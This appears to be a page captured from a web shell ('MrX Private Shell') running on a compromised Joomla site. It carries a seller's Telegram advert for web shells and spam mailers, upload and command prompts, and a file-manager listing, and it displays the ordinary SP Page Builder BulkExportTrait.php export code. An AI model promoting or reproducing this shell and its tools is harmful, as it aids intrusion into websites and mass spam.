__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2024 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Http\HttpFactory;
use Joomla\CMS\Uri\Uri;
use JoomShaper\SPPageBuilder\DynamicContent\Controllers\CollectionImportExportController;

// No direct access
defined('_JEXEC') or die('Restricted access');

/**
 * Trait for managing bulk export API endpoint.
 */
trait BulkExportTrait
{
    public function bulkExport()
    {
        $method = $this->getInputMethod();
        $this->checkNotAllowedMethods(['GET', 'DELETE', 'PUT', 'PATCH'], $method);

        if ($method === 'POST') {
            $this->exportBulk();
        }
    }

	/**
	 * Recursively checks if dynamic content exists in the data structure
	 *
	 * @param mixed $data The data to check
	 * @param string $key The key to look for (default: 'type')
	 * @param string $value The value to match (default: 'dynamic-content')
	 * @return bool Returns true if dynamic content is found
	 */
	private function checkDynamicContentData($data, $key = 'type', $value = 'dynamic-content') 
	{
		if ($data === null) {
			return false;
		}

		if (is_object($data)) {
			$data = (array) $data;
		}

		if (is_array($data)) {
			if (isset($data[$key]) && $data[$key] === $value) {
				return true;
			}

			foreach ($data as $item) {
				if ($this->checkDynamicContentData($item, $key, $value)) {
					return true;
				}
			}
		}

		return false;
	}

    /**
	 * Get dynamic content data if it exists in the page content.
	 *
	 * @return string
	 * @since 5.7.0
	 */
	private function getDynamicContentExportData($content)
	{
		$hasDynamicContent = false;
		$dynamicContentData = '';

		if (isset($content->content) && is_string($content->content)) {
			$hasDynamicContent = $this->checkDynamicContentData(json_decode($content->content));
		}

		if($hasDynamicContent) {
			$dynamicContentExportImportController = new CollectionImportExportController();
			$dynamicContentData = $dynamicContentExportImportController->exportDynamicContent();
		}

		return $dynamicContentData;
	}

    /**
     * Bulk export pages.
     *
     * @return void
     * @since 5.2.10
     */
    public function exportBulk()
    {
        $config = ApplicationHelper::getAppConfig();
        $user = Factory::getUser();
        $authorised = $user->authorise('core.edit', 'com_sppagebuilder');
        $canEditOwn = $user->authorise('core.edit.own', 'com_sppagebuilder');

        $pageIds = $this->getInput('pageIds', '', 'STRING');
        $isSeoChecked = $this->getInput('isSeoChecked', '', 'STRING');
        $isExportMedia = $this->getInput('isMediaChecked', '', 'STRING');

        if (empty($pageIds)) {
            $this->sendResponse(['message' => 'Page Ids missing.'], 400);
        }

        $pageIdsArray = explode(',', $pageIds);

        $pageContents = new stdClass;
        $model = $this->getModel('Editor');
        

        if($isExportMedia){
            $this->exportBulkWithMedia($pageIdsArray, $isSeoChecked, $model, $user, $authorised, $canEditOwn, $config);
            die();
        }

        foreach ($pageIdsArray as $pageId) {
            $trimmedPageId = trim($pageId);
            
            if (!$trimmedPageId) {
                continue;
            }

            if ($canEditOwn && !empty($trimmedPageId)) {
                JLoader::register('SppagebuilderModelPage', JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/models/page.php');

                $item_info  = SppagebuilderModelPage::getPageInfoById($trimmedPageId);
                $canEditOwn = $item_info->created_by == $user->id;
            }

            if (!$authorised && !$canEditOwn) {
                die('Restricted Access');
            }

            $content = $model->getPageContent($trimmedPageId);

            if (empty($content)) {
                $this->sendResponse(['message' => 'Requesting page not found!'], 404);
            }

            $content = ApplicationHelper::preparePageData($content);

            $dynamicContentData = $this->getDynamicContentExportData($content);

            $seoSettings = [];
            
            if ($isSeoChecked) {
                $seoSettings = [
                    'og_description' => isset($content->og_description) ? $content->og_description : '',
                    'og_image' => isset($content->og_image) ? $content->og_image : '',
                    'og_title' => isset($content->og_title) ? $content->og_title : '',
                    'meta_description' => isset($content->attribs) && isset($content->attribs->meta_description) ?  $content->attribs->meta_description : '',
                    'meta_keywords' => isset($content->attribs) && isset($content->attribs->meta_keywords) ?  $content->attribs->meta_keywords : '',
                    'og_type' => isset($content->attribs) && isset($content->attribs->og_type) ?  $content->attribs->og_type : '',
                    'robots' => isset($content->attribs) && isset($content->attribs->robots) ?  $content->attribs->robots : '',
                    'seo_spacer' => isset($content->attribs) && isset($content->attribs->seo_spacer) ?  $content->attribs->seo_spacer : '',
                    'author' => isset($content->attribs) && isset($content->attribs->author) ?  $content->attribs->author : '',
                ];
            }

            $pageContent = (object) [
                'template' => isset($content->content) ? $content->content : $content->text,
                'css' => isset($content->css) ? $content->css : '',
                'seo' => json_encode($seoSettings),
                'title' => $content->title,
                'language' => isset($content->language) ? $content->language : '*',
            ];

            if (!empty($dynamicContentData)) {
                $pageContent->dynamicContentData = json_encode($dynamicContentData);
            }

            if (isset($content->extension_view) && $content->extension_view === 'popup') {
                $pageContent->attribs = isset($content->attribs) ? json_encode($content->attribs) : '';
                $pageContent->type = 'popup';
            }

            $title = $pageId . '_' . $this->generateRandomId() . '.json';
            $pageContents->$title = $pageContent;
        }

        $zip = new ZipArchive();
        $zipFileName = 'sp-page-builder-pages-' . $this->generateRandomId() . '.zip';
        $tmpPath = $config->get('tmp_path');
        $zipFilePath = $tmpPath . '/' . $zipFileName;

        if ($zip->open($zipFilePath, ZipArchive::CREATE) === TRUE) {
            foreach ($pageContents as $fileName => $content) {
                $stringContent = json_encode($content);

                try {
                    $zip->addFromString($fileName, $stringContent);
                } catch (\Throwable $th) {
                    $this->sendResponse([
                        'message' => 'Failed to add file to the ZIP archive',
                    ], 500);
                }
            }

            $zip->close();

            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Content-Type: application/force-download");
            header("Content-Type: application/octet-stream");
            header("Content-Type: application/download");
            header('Content-Disposition: attachment; filename="' . basename($zipFilePath) . '"');
            header("Content-Type: application/zip");
            header("Content-Transfer-Encoding: binary ");
            header('Content-Length: ' . filesize($zipFilePath));

            echo file_get_contents($zipFilePath);
            unlink($zipFilePath);

            die();
        }

        $this->sendResponse([
            'message' => 'Failed to create zip file',
        ], 500);
    }

    function generateRandomId($length = 8)
    {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

        $randomId = '';
        $maxIndex = strlen($characters) - 1;
        for ($i = 0; $i < $length; $i++) {
            $randomId .= $characters[mt_rand(0, $maxIndex)];
        }

        return $randomId;
    }

    private function exportBulkWithMedia($pageIdsArray, $isSeoChecked, $model, $user, $authorised, $canEditOwn, $config)
{
    $zip = new ZipArchive();
    $zipFileName = 'sp-page-builder-pages-' . $this->generateRandomId() . '.zip';
    $tmpPath = $config->get('tmp_path');
    $zipFilePath = $tmpPath . '/' . $zipFileName;
    $commonExportDir = $tmpPath . '/common_export_' . $this->generateRandomId();

    if ((!Folder::create($commonExportDir, 0755))){
        $this->sendResponse([
            'message' => 'Failed to create common export directory',
        ], 500);
    }

    foreach ($pageIdsArray as $pageId)
    {
        $trimmedPageId = trim($pageId);

        if (!$trimmedPageId)
        {
            continue;
        }

        if ($canEditOwn && !empty($trimmedPageId))
        {
            JLoader::register('SppagebuilderModelPage', JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/models/page.php');

            $item_info  = SppagebuilderModelPage::getPageInfoById($trimmedPageId);
            $canEditOwn = $item_info->created_by == $user->id;
        }

        if (!$authorised && !$canEditOwn)
        {
            die('Restricted Access');
        }

        $content = $model->getPageContent($trimmedPageId);

        if (empty($content))
        {
            $this->sendResponse(['message' => 'Requesting page not found!'], 404);
        }
        
        $fieldContent = isset($content->content) ? $content->content : $content->text;
        $contentParsed = [];

        if(!empty($fieldContent) && is_string($fieldContent)){
            $contentParsed = json_decode($fieldContent, true);
        }

        if($isSeoChecked){
            $ogImageSrc = $content->og_image->src ?? '';
            array_push($contentParsed, ['src' => $ogImageSrc]);
        }
        
        $localMediaSources = $this->getSrcValues($contentParsed);
        $mediaSources = [];
        $content = ApplicationHelper::preparePageData($content);

        foreach ($localMediaSources as $source)
        {
            $sourcePath = Uri::root() . $source;
            array_push($mediaSources, $sourcePath);
        }

        $seoSettings = [];

        if ($isSeoChecked)
        {
            $seoSettings = 
            [
                'og_description' => isset($content->og_description) ? $content->og_description : '',
                'og_image' => isset($content->og_image) ? $content->og_image : '',
                'og_title' => isset($content->og_title) ? $content->og_title : '',
                'meta_description' => isset($content->attribs) && isset($content->attribs->meta_description) ?  $content->attribs->meta_description : '',
                'meta_keywords' => isset($content->attribs) && isset($content->attribs->meta_keywords) ?  $content->attribs->meta_keywords : '',
                'og_type' => isset($content->attribs) && isset($content->attribs->og_type) ?  $content->attribs->og_type : '',
                'robots' => isset($content->attribs) && isset($content->attribs->robots) ?  $content->attribs->robots : '',
                'seo_spacer' => isset($content->attribs) && isset($content->attribs->seo_spacer) ?  $content->attribs->seo_spacer : '',
                'author' => isset($content->attribs) && isset($content->attribs->author) ?  $content->attribs->author : '',
            ];
        }

        $dynamicContentData = $this->getDynamicContentExportData($content);

        $pageContent = (object)
        [
            'template' => isset($content->content) ? $content->content : $content->text,
            'css' => isset($content->css) ? $content->css : '',
            'title' => $content->title,
            'seo' => json_encode($seoSettings),
            'language' => isset($content->language) ? $content->language : '*',
            'localMediaSources' => $localMediaSources ? $localMediaSources : '[]',
        ];

        if (!empty($dynamicContentData)) {
			$pageContent->dynamicContentData = json_encode($dynamicContentData);
		}

        $mediaTempDir = $commonExportDir . '/media_' . $this->generateRandomId();
        $parentDir = $commonExportDir . '/page_'. $content->title . '_' . $this->generateRandomId();

        if ((!Folder::create($mediaTempDir, 0755)) ||
            (!Folder::create($parentDir, 0755)))
        {
            $this->sendResponse([
                'message' => 'Failed to create necessary directories',
            ], 500);
        }

        $options = new \Joomla\Registry\Registry;
		$http = HttpFactory::getHttp($options);

        foreach ($mediaSources as $source)
        {
            $encodedBaseName = rawurlencode(basename($source));
			$destination = $mediaTempDir . '/' . $encodedBaseName;

            try {
                
                $options = new \Joomla\Registry\Registry;
                $http = HttpFactory::getHttp($options);
                $encodedUrl = dirname($source) . '/' . $encodedBaseName;
				$response = $http->get($encodedUrl);

                if ($response->code === 200) {
                    
                    File::write($destination, $response->body);
                } else {
                    $this->sendResponse([
                        'message' => 'Failed to copy media file: ' . $source,
                        'error' => 'HTTP response code: ' . $response->code
                    ], 500);
                }
            } catch (Exception $e) {
                $this->sendResponse([
                    'message' => 'Failed to copy media file: ' . $source,
                    'error' => $e->getMessage()
                ], 500);
            }
        }

        $stringContent = json_encode($pageContent);
        $fileName = $pageId . '_' . $this->generateRandomId() . '.json';
        file_put_contents($parentDir . '/' . $fileName, $stringContent);

        rename($mediaTempDir, $parentDir . '/media');
    }

    if ($zip->open($zipFilePath, ZipArchive::CREATE) === TRUE)
    {
        try {
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($commonExportDir),
                RecursiveIteratorIterator::SELF_FIRST
            );

            foreach ($files as $name => $file)
            {
                $filePath = $file->getRealPath();
                $relativePath = substr($filePath, strlen($commonExportDir) + 1);

                if ($file->isDir())
                {
                    $zip->addEmptyDir($relativePath);
                }
                else
                {
                    $zip->addFile($filePath, $relativePath);
                }
            }
        } catch (\Throwable $th)
        {
            $this->sendResponse([
                'message' => 'Failed to add file to the ZIP archive',
            ], 500);
        }
    }

    $zip->close();

    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Content-Type: application/zip");
    header('Content-Disposition: attachment; filename="' . basename($zipFilePath) . '"');
    header('Content-Length: ' . filesize($zipFilePath));

    echo file_get_contents($zipFilePath);

    if (is_file($zipFilePath))
    {
        unlink($zipFilePath);
    }

    Folder::delete($commonExportDir);

    die();
}

private function getSrcValues($data)
    {
        $accepted_file_formats = array(
            'image' => array('jpg', 'jpeg', 'png', 'gif', 'svg', 'webp', 'avif'),
            'video' => array('mp4', 'mov', 'wmv', 'avi', 'mpg', 'ogv', '3gp', '3g2'),
            'audio' => array('mp3', 'm4a', 'ogg', 'wav'),
            'attachment' => array('pdf', 'doc', 'docx', 'key', 'ppt', 'pptx', 'pps', 'ppsx', 'odt', 'xls', 'xlsx', 'zip', 'json'),
        );
        
        $srcValues = [];
        
        foreach ($data as $key => $value)
        {
            if (is_array($value))
            {
                $srcValues = array_merge($srcValues, $this->getSrcValues($value));
            }
            elseif ($key === 'src' && !empty($value))
            {
                $path_info = pathinfo($value);
                $extension = isset($path_info['extension']) ? strtolower($path_info['extension']) : '';
                
                foreach ($accepted_file_formats as $formats)
                {
                    if (in_array($extension, $formats))
                    {
                        if (!preg_match('/^(http:\/\/|https:\/\/|\/\/)/i', $value)) {
                            $srcValues[] = $value;
                        }
                        break;
                    }
                }
            }
        }

        return $srcValues;
    }
}

Filemanager

Name Type Size Permission Actions
AddToMenuTrait.php File 2.69 KB 0664
AddonsTrait.php File 7.77 KB 0664
AiContentTrait.php File 10 KB 0664
AiContentUploadTrait.php File 8.14 KB 0664
AllFontsTrait.php File 1.32 KB 0664
AppConfig.php File 5.33 KB 0664
ApplicationSettingsTrait.php File 16.47 KB 0664
BulkExportTrait.php File 16.66 KB 0664
BulkImportTrait.php File 18.55 KB 0664
CommonTrait.php File 4.56 KB 0664
ExportTrait.php File 11.07 KB 0664
FontsTrait.php File 12.45 KB 0664
GlobalColorsTrait.php File 3.37 KB 0664
IconProvidersTrait.php File 928 B 0664
IconsListTrait.php File 1.39 KB 0664
IconsTrait.php File 14.71 KB 0664
ImageShapesTrait.php File 5.56 KB 0664
ImportTrait.php File 16.82 KB 0664
IntegrationTrait.php File 4.64 KB 0664
LanguageTrait.php File 6.6 KB 0664
LayoutImportTrait.php File 2.89 KB 0664
Media.php File 17.78 KB 0664
MediaFolderTrait.php File 9.5 KB 0664
MenuByPageIdTrait.php File 952 B 0664
MenuListTrait.php File 791 B 0664
PageContentById.php File 1.22 KB 0664
PageDuplicateTrait.php File 1.35 KB 0664
PageOrderTrait.php File 1.16 KB 0664
PageTemplateTrait.php File 3.1 KB 0664
PageTrait.php File 9.74 KB 0664
ParentItemsTrait.php File 1.01 KB 0664
PluginsTrait.php File 2.93 KB 0664
PopupTemplateTrait.php File 2.34 KB 0664
ProductPageContentById.php File 2 KB 0664
PurgeCssTrait.php File 810 B 0664
SaveIgTokenTrait.php File 2.01 KB 0664
SavedAddonsOrderTrait.php File 1.19 KB 0664
SavedAddonsTrait.php File 4.06 KB 0664
SavedPresetsTrait.php File 3.17 KB 0664
SavedSectionsOrderTrait.php File 1.21 KB 0664
SavedSectionsTrait.php File 4.12 KB 0664
SectionLibraryTrait.php File 2.84 KB 0664
SettingsTrait.php File 1.07 KB 0664
UploadFontTrait.php File 5.48 KB 0664
Filemanager